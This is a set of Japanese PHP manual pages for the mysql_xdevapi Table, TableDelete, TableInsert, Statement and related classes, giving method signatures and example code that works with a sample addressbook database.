この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

直近のCRUD操作の間に発生した警告の数を返します。

例

例1 mysql_xdevapi\SqlStatementResult::getWarningsCount() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


結果がデータを持っているかを調べる

  • ≪ SqlStatementResult::getWarningsCount
  • SqlStatementResult::nextResult ≫
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • 結果がデータを持っているかを調べる

SqlStatementResult::hasData

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SqlStatementResult::hasData — 結果がデータを持っているかを調べる

説明

public mysql_xdevapi\SqlStatementResult::hasData ( ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

結果がデータを持っていれば true を返します。

例

例1 mysql_xdevapi\SqlStatementResult::hasData() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


次の結果を取得する

  • ≪ SqlStatementResult::hasData
  • mysql_xdevapi\Statement ≫
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • 次の結果を取得する

SqlStatementResult::nextResult

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SqlStatementResult::nextResult — 次の結果を取得する

説明

public mysql_xdevapi\SqlStatementResult::nextResult ( ) : mysql_xdevapi\Result

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

結果セットから、次の Result オブジェクトを返します。

例

例1 mysql_xdevapi\SqlStatementResult::nextResult() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Statement クラス

(PECL mysql-xdevapi >= 8.0.11)

はじめに

クラス概要

mysql_xdevapi\Statement {
/* Constants */
const int EXECUTE_ASYNC = 1 ;
const int BUFFERED = 2 ;
/* メソッド */
public getNextResult ( ) : mysql_xdevapi\Result
public getResult ( ) : mysql_xdevapi\Result
public hasMoreResults ( ) : bool
}

定義済み定数

mysql_xdevapi\Statement::EXECUTE_ASYNC

mysql_xdevapi\Statement::BUFFERED

目次

  • Statement::__construct — Statement のコンストラクタ
  • Statement::getNextResult — 次の結果を取得する
  • Statement::getResult — 結果を取得する
  • Statement::hasMoreResults — さらに結果があるかを調べる

User Contributed Notes

There are no user contributed notes for this page.


Statement のコンストラクタ

  • ≪ mysql_xdevapi\Statement
  • Statement::getNextResult ≫
  • PHP Manual
  • mysql_xdevapi\Statement
  • Statement のコンストラクタ

Statement::__construct

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Statement::__construct — Statement のコンストラクタ

説明

private mysql_xdevapi\Statement::__construct ( )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

例

例1 mysql_xdevapi\Statement::__construct() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


次の結果を取得する

  • ≪ Statement::__construct
  • Statement::getResult ≫
  • PHP Manual
  • mysql_xdevapi\Statement
  • 次の結果を取得する

Statement::getNextResult

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Statement::getNextResult — 次の結果を取得する

説明

public mysql_xdevapi\Statement::getNextResult ( ) : mysql_xdevapi\Result

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 mysql_xdevapi\Statement::getNextResult() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


結果を取得する

  • ≪ Statement::getNextResult
  • Statement::hasMoreResults ≫
  • PHP Manual
  • mysql_xdevapi\Statement
  • 結果を取得する

Statement::getResult

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Statement::getResult — 結果を取得する

説明

public mysql_xdevapi\Statement::getResult ( ) : mysql_xdevapi\Result

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 mysql_xdevapi\Statement::getResult() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


さらに結果があるかを調べる

  • ≪ Statement::getResult
  • mysql_xdevapi\Table ≫
  • PHP Manual
  • mysql_xdevapi\Statement
  • さらに結果があるかを調べる

Statement::hasMoreResults

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Statement::hasMoreResults — さらに結果があるかを調べる

説明

public mysql_xdevapi\Statement::hasMoreResults ( ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 mysql_xdevapi\Statement::hasMoreResults() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Table クラス

(PECL mysql-xdevapi >= 8.0.11)

はじめに

INSERT/SELECT/UPDATE/DELETE ステートメントを通じて、テーブルへのアクセスを提供します。

クラス概要

mysql_xdevapi\Table implements mysql_xdevapi\SchemaObject {
/* プロパティ */
public $name ;
/* メソッド */
public count ( ) : int
public delete ( ) : mysql_xdevapi\TableDelete
public existsInDatabase ( ) : bool
public getName ( ) : string
public getSchema ( ) : mysql_xdevapi\Schema
public getSession ( ) : mysql_xdevapi\Session
public insert ( mixed $columns , mixed ...$more_columns ) : mysql_xdevapi\TableInsert
public isView ( ) : bool
public select ( mixed $columns , mixed ...$more_columns ) : mysql_xdevapi\TableSelect
public update ( ) : mysql_xdevapi\TableUpdate
}

プロパティ

name

目次

  • Table::__construct — Table のコンストラクタ
  • Table::count — 行の数を取得する
  • Table::delete — テーブルから行を削除する
  • Table::existsInDatabase — テーブルがデータベースに存在するかをチェックする
  • Table::getName — テーブル名を取得する
  • Table::getSchema — テーブルスキーマを取得する
  • Table::getSession — テーブルを操作するためのセッションを取得する
  • Table::insert — テーブルに行を挿入する
  • Table::isView — テーブルがビューかどうかを調べる
  • Table::select — テーブルから行を選択する
  • Table::update — テーブルの行を更新する

User Contributed Notes

There are no user contributed notes for this page.


Table のコンストラクタ

  • ≪ mysql_xdevapi\Table
  • Table::count ≫
  • PHP Manual
  • mysql_xdevapi\Table
  • Table のコンストラクタ

Table::__construct

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Table::__construct — Table のコンストラクタ

説明

private mysql_xdevapi\Table::__construct ( )

テーブルオブジェクトを構築します。

パラメータ

この関数にはパラメータはありません。

例

例1 mysql_xdevapi\Table::__construct() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");
?>

User Contributed Notes

There are no user contributed notes for this page.


行の数を取得する

  • ≪ Table::__construct
  • Table::delete ≫
  • PHP Manual
  • mysql_xdevapi\Table
  • 行の数を取得する

Table::count

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Table::count — 行の数を取得する

説明

public mysql_xdevapi\Table::count ( ) : int

テーブルの行数を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

テーブルの合計の行数を返します。

例

例1 mysql_xdevapi\Table::count() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

var_dump($table->count());
?>

上の例の出力は以下となります。

int(2)

User Contributed Notes

There are no user contributed notes for this page.


テーブルから行を削除する

  • ≪ Table::count
  • Table::existsInDatabase ≫
  • PHP Manual
  • mysql_xdevapi\Table
  • テーブルから行を削除する

Table::delete

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Table::delete — テーブルから行を削除する

説明

public mysql_xdevapi\Table::delete ( ) : mysql_xdevapi\TableDelete

テーブルから行を削除します。

パラメータ

この関数にはパラメータはありません。

返り値

TableDelete オブジェクトを返します。 delete 文を実行するには、execute() メソッドを使ってください。

例

例1 mysql_xdevapi\Table::delete() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$table->delete()->where("name = :name")->orderby("age DESC")->limit(1)->bind(['name' => 'John'])->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


テーブルがデータベースに存在するかをチェックする

  • ≪ Table::delete
  • Table::getName ≫
  • PHP Manual
  • mysql_xdevapi\Table
  • テーブルがデータベースに存在するかをチェックする

Table::existsInDatabase

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Table::existsInDatabase — テーブルがデータベースに存在するかをチェックする

説明

public mysql_xdevapi\Table::existsInDatabase ( ) : bool

このテーブルがデータベースに存在するかを検証します。

パラメータ

この関数にはパラメータはありません。

返り値

テーブルがデータベースに存在していれば true を返します。 そうでなければ、false を返します。

例

例1 mysql_xdevapi\Table::existsInDatabase() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

if ($table->existsInDatabase()) {
  echo "Yes, this table still exists in the session's schema.";
}
?>

上の例の出力は、 たとえば以下のようになります。

Yes, this table still exists in the session's schema.

User Contributed Notes

There are no user contributed notes for this page.


テーブル名を取得する

  • ≪ Table::existsInDatabase
  • Table::getSchema ≫
  • PHP Manual
  • mysql_xdevapi\Table
  • テーブル名を取得する

Table::getName

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Table::getName — テーブル名を取得する

説明

public mysql_xdevapi\Table::getName ( ) : string

このデータベースオブジェクトの名前を返します。

パラメータ

この関数にはパラメータはありません。

返り値

データベースオブジェクトの名前を返します。

例

例1 mysql_xdevapi\Table::getName() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

var_dump($table->getName());
?>

上の例の出力は、 たとえば以下のようになります。

string(5) "names"

User Contributed Notes

There are no user contributed notes for this page.


テーブルスキーマを取得する

  • ≪ Table::getName
  • Table::getSession ≫
  • PHP Manual
  • mysql_xdevapi\Table
  • テーブルスキーマを取得する

Table::getSchema

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Table::getSchema — テーブルスキーマを取得する

説明

public mysql_xdevapi\Table::getSchema ( ) : mysql_xdevapi\Schema

テーブルに紐付いたスキーマを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

Schema オブジェクトを返します。

例

例1 mysql_xdevapi\Table::getSchema() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

var_dump($table->getSchema());
?>

上の例の出力は、 たとえば以下のようになります。

object(mysql_xdevapi\Schema)#9 (1) {
  ["name"]=>
  string(11) "addressbook"
}

User Contributed Notes

There are no user contributed notes for this page.


テーブルを操作するためのセッションを取得する

  • ≪ Table::getSchema
  • Table::insert ≫
  • PHP Manual
  • mysql_xdevapi\Table
  • テーブルを操作するためのセッションを取得する

Table::getSession

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Table::getSession — テーブルを操作するためのセッションを取得する

説明

public mysql_xdevapi\Table::getSession ( ) : mysql_xdevapi\Session

テーブルに紐付いたセッションを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

Session オブジェクトを返します。

例

例1 mysql_xdevapi\Table::getSession() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

var_dump($table->getSession());
?>

上の例の出力は、 たとえば以下のようになります。

object(mysql_xdevapi\Session)#9 (0) {
}

User Contributed Notes

There are no user contributed notes for this page.


テーブルに行を挿入する

  • ≪ Table::getSession
  • Table::isView ≫
  • PHP Manual
  • mysql_xdevapi\Table
  • テーブルに行を挿入する

Table::insert

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Table::insert — テーブルに行を挿入する

説明

public mysql_xdevapi\Table::insert ( mixed $columns , mixed ...$more_columns ) : mysql_xdevapi\TableInsert

テーブルに行を挿入します。

パラメータ

columns

データを挿入するカラム。 ひとつ以上の値を持つ配列か、文字列です。

more_columns

追加のカラム定義

返り値

TableInsert オブジェクトを返します。 insert 文を実行するには、 execute() メソッドを使ってください。

例

例1 mysql_xdevapi\Table::insert() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$table ->insert("name", "age")
  ->values(["Suzanne", 31],["Julie", 43])
  ->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


テーブルがビューかどうかを調べる

  • ≪ Table::insert
  • Table::select ≫
  • PHP Manual
  • mysql_xdevapi\Table
  • テーブルがビューかどうかを調べる

Table::isView

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Table::isView — テーブルがビューかどうかを調べる

説明

public mysql_xdevapi\Table::isView ( ) : bool

オブジェクトがビューかそうでないかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

オブジェクトがビューであるなら true そうでないなら false を返します。

例

例1 mysql_xdevapi\Table::isView() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

if ($table->isView()) {
    echo "This is a view.";
} else {
    echo "This is not a view.";
}
?>

上の例の出力は以下となります。

int(2)

User Contributed Notes

There are no user contributed notes for this page.


テーブルから行を選択する

  • ≪ Table::isView
  • Table::update ≫
  • PHP Manual
  • mysql_xdevapi\Table
  • テーブルから行を選択する

Table::select

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Table::select — テーブルから行を選択する

説明

public mysql_xdevapi\Table::select ( mixed $columns , mixed ...$more_columns ) : mysql_xdevapi\TableSelect

テーブルからデータを取得します。

パラメータ

columns

データを選択するカラム。 一つ以上の値を持つ配列、または文字列。

more_columns

追加のカラムパラメータ

返り値

TableSelect オブジェクトを返します。 select 文を実行し、RowResult オブジェクトを得るには、 execute() メソッドを使ってください。

例

例1 mysql_xdevapi\Table::count() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$row = $table->select('name', 'age')->execute()->fetchAll();

print_r($row);

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
    [1] => Array
        (
            [name] => Sam
            [age] => 33
        )
)

User Contributed Notes

There are no user contributed notes for this page.


テーブルの行を更新する

  • ≪ Table::select
  • mysql_xdevapi\TableDelete ≫
  • PHP Manual
  • mysql_xdevapi\Table
  • テーブルの行を更新する

Table::update

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Table::update — テーブルの行を更新する

説明

public mysql_xdevapi\Table::update ( ) : mysql_xdevapi\TableUpdate

テーブルのカラムを更新します。

パラメータ

この関数にはパラメータはありません。

返り値

TableUpdate オブジェクトを返します。 update 文を実行するには、execute() メソッドを使ってください。

例

例1 mysql_xdevapi\Table::update() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$table->update()->set('age',34)->where('name = "Sam"')->limit(1)->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


TableDelete クラス

(PECL mysql-xdevapi >= 8.0.11)

はじめに

テーブルのレコードを削除する操作を行うためのステートメントです。

クラス概要

mysql_xdevapi\TableDelete implements mysql_xdevapi\Executable {
/* メソッド */
public bind ( array $placeholder_values ) : mysql_xdevapi\TableDelete
public execute ( ) : mysql_xdevapi\Result
public limit ( int $rows ) : mysql_xdevapi\TableDelete
public orderby ( string $orderby_expr ) : mysql_xdevapi\TableDelete
public where ( string $where_expr ) : mysql_xdevapi\TableDelete
}

目次

  • TableDelete::bind — delete のクエリパラメータをバインドする
  • TableDelete::__construct — TableDelete のコンストラクタ
  • TableDelete::execute — delete文を実行する
  • TableDelete::limit — 削除する行を限定する
  • TableDelete::orderby — 削除の際のソート条件を設定する
  • TableDelete::where — 削除時の検索条件を設定する

User Contributed Notes

There are no user contributed notes for this page.


delete のクエリパラメータをバインドする

  • ≪ mysql_xdevapi\TableDelete
  • TableDelete::__construct ≫
  • PHP Manual
  • mysql_xdevapi\TableDelete
  • delete のクエリパラメータをバインドする

TableDelete::bind

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TableDelete::bind — delete のクエリパラメータをバインドする

説明

public mysql_xdevapi\TableDelete::bind ( array $placeholder_values ) : mysql_xdevapi\TableDelete

特定のプレースホルダーの値をバインドします。

パラメータ

placeholder_values

プレースホルダーの名前、およびバインドする値です。

返り値

TableDelete オブジェクトを返します。

例

例1 mysql_xdevapi\TableDelete::bind() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$table->delete()
  ->where("name = :name")
  ->bind(['name' => 'John'])
  ->orderby("age DESC")
  ->limit(1)
  ->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


TableDelete のコンストラクタ

  • ≪ TableDelete::bind
  • TableDelete::execute ≫
  • PHP Manual
  • mysql_xdevapi\TableDelete
  • TableDelete のコンストラクタ

TableDelete::__construct

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TableDelete::__construct — TableDelete のコンストラクタ

説明

private mysql_xdevapi\TableDelete::__construct ( )

delete() メソッドを使ってインスタンス化されます。

パラメータ

この関数にはパラメータはありません。

例

例1 mysql_xdevapi\TableDelete::__construct() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$table->delete()
  ->where("name = :name")
  ->bind(['name' => 'John'])
  ->orderby("age DESC")
  ->limit(1)
  ->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


delete文を実行する

  • ≪ TableDelete::__construct
  • TableDelete::limit ≫
  • PHP Manual
  • mysql_xdevapi\TableDelete
  • delete文を実行する

TableDelete::execute

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TableDelete::execute — delete文を実行する

説明

public mysql_xdevapi\TableDelete::execute ( ) : mysql_xdevapi\Result

delete文を実行します。

パラメータ

この関数にはパラメータはありません。

返り値

Result オブジェクトを返します。

例

例1 mysql_xdevapi\TableDelete::execute() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$table->delete()
  ->where("name = :name")
  ->bind(['name' => 'John'])
  ->orderby("age DESC")
  ->limit(1)
  ->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


削除する行を限定する

  • ≪ TableDelete::execute
  • TableDelete::orderby ≫
  • PHP Manual
  • mysql_xdevapi\TableDelete
  • 削除する行を限定する

TableDelete::limit

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TableDelete::limit — 削除する行を限定する

説明

public mysql_xdevapi\TableDelete::limit ( int $rows ) : mysql_xdevapi\TableDelete

削除するレコードまたはドキュメントの最大数を設定します

パラメータ

rows

削除するレコードまたはドキュメントの最大数

返り値

TableDelete オブジェクトを返します。

例

例1 mysql_xdevapi\TableDelete::limit() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$table->delete()
  ->where("name = :name")
  ->bind(['name' => 'John'])
  ->orderby("age DESC")
  ->limit(1)
  ->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


削除の際のソート条件を設定する

  • ≪ TableDelete::limit
  • TableDelete::where ≫
  • PHP Manual
  • mysql_xdevapi\TableDelete
  • 削除の際のソート条件を設定する

TableDelete::orderby

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TableDelete::orderby — 削除の際のソート条件を設定する

説明

public mysql_xdevapi\TableDelete::orderby ( string $orderby_expr ) : mysql_xdevapi\TableDelete

結果セットのソート条件を設定します。

パラメータ

orderby_expr

ソート条件

返り値

TableDelete オブジェクトを返します。

例

例1 mysql_xdevapi\TableDelete::orderBy() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$table->delete()
  ->where("age = :age")
  ->bind(['age' => 42])
  ->orderby("name DESC")
  ->limit(1)
  ->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


削除時の検索条件を設定する

  • ≪ TableDelete::orderby
  • mysql_xdevapi\TableInsert ≫
  • PHP Manual
  • mysql_xdevapi\TableDelete
  • 削除時の検索条件を設定する

TableDelete::where

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TableDelete::where — 削除時の検索条件を設定する

説明

public mysql_xdevapi\TableDelete::where ( string $where_expr ) : mysql_xdevapi\TableDelete

フィルタのための検索条件を設定します。

パラメータ

where_expr

ドキュメントまたはレコードをフィルタする検索条件を定義します。

返り値

TableDelete オブジェクトを返します。

例

例1 mysql_xdevapi\TableDelete::where() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$table->delete()
  ->where("id = :id")
  ->bind(['id' => 42])
  ->limit(1)
  ->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


TableInsert クラス

(PECL mysql-xdevapi >= 8.0.11)

はじめに

テーブルにレコードを挿入する操作を行うステートメントです

クラス概要

mysql_xdevapi\TableInsert implements mysql_xdevapi\Executable {
/* メソッド */
public execute ( ) : mysql_xdevapi\Result
public values ( array $row_values ) : mysql_xdevapi\TableInsert
}

目次

  • TableInsert::__construct — TableInsert クラスのコンストラクタ
  • TableInsert::execute — insert クエリを実行する
  • TableInsert::values — 挿入する行の値を追加する

User Contributed Notes

There are no user contributed notes for this page.


TableInsert クラスのコンストラクタ

  • ≪ mysql_xdevapi\TableInsert
  • TableInsert::execute ≫
  • PHP Manual
  • mysql_xdevapi\TableInsert
  • TableInsert クラスのコンストラクタ

TableInsert::__construct

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TableInsert::__construct — TableInsert クラスのコンストラクタ

説明

private mysql_xdevapi\TableInsert::__construct ( )

insert() メソッドを使ってインスタンス化されます。

パラメータ

この関数にはパラメータはありません。

例

例1 mysql_xdevapi\TableInsert::__construct() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$table
  ->insert("name", "age")
  ->values(["Suzanne", 31],["Julie", 43])
  ->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


insert クエリを実行する

  • ≪ TableInsert::__construct
  • TableInsert::values ≫
  • PHP Manual
  • mysql_xdevapi\TableInsert
  • insert クエリを実行する

TableInsert::execute

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TableInsert::execute — insert クエリを実行する

説明

public mysql_xdevapi\TableInsert::execute ( ) : mysql_xdevapi\Result

insert 文を実行します。

パラメータ

この関数にはパラメータはありません。

返り値

Result オブジェクトを返します。

例

例1 mysql_xdevapi\TableInsert::execute() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$table
  ->insert("name", "age")
  ->values(["Suzanne", 31],["Julie", 43])
  ->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


挿入する行の値を追加する

  • ≪ TableInsert::execute
  • mysql_xdevapi\TableSelect ≫
  • PHP Manual
  • mysql_xdevapi\TableInsert
  • 挿入する行の値を追加する

TableInsert::values

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TableInsert::values — 挿入する行の値を追加する

説明

public mysql_xdevapi\TableInsert::values ( array $row_values ) : mysql_xdevapi\TableInsert

挿入する値を設定します。

パラメータ

row_values

挿入するカラムの値(の配列)

返り値

TableInsert オブジェクトを返します。

例

例1 mysql_xdevapi\TableInsert::values() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$table
  ->insert("name", "age")
  ->values(["Suzanne", 31],["Julie", 43])
  ->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


TableSelect クラス

(PECL mysql-xdevapi >= 8.0.11)

はじめに

テーブルからレコードを取得する操作を行うステートメントです

クラス概要

mysql_xdevapi\TableSelect implements mysql_xdevapi\Executable {
/* メソッド */
public bind ( array $placeholder_values ) : mysql_xdevapi\TableSelect
public execute ( ) : mysql_xdevapi\RowResult
public groupBy ( mixed $sort_expr ) : mysql_xdevapi\TableSelect
public having ( string $sort_expr ) : mysql_xdevapi\TableSelect
public limit ( int $rows ) : mysql_xdevapi\TableSelect
public lockExclusive ( int $lock_waiting_option = ? ) : mysql_xdevapi\TableSelect
public lockShared ( int $lock_waiting_option = ? ) : mysql_xdevapi\TableSelect
public offset ( int $position ) : mysql_xdevapi\TableSelect
public orderby ( mixed $sort_expr , mixed ...$sort_exprs ) : mysql_xdevapi\TableSelect
public where ( string $where_expr ) : mysql_xdevapi\TableSelect
}

目次

  • TableSelect::bind — select のクエリパラメータをバインドする
  • TableSelect::__construct — TableSelect のコンストラクタ
  • TableSelect::execute — select ステートメントを実行する
  • TableSelect::groupBy — select 時のグループ化の条件を設定する
  • TableSelect::having — select 句の having 条件を設定する
  • TableSelect::limit — 選択される行の数を限定する
  • TableSelect::lockExclusive — EXCLUSIVE LOCK を実行する
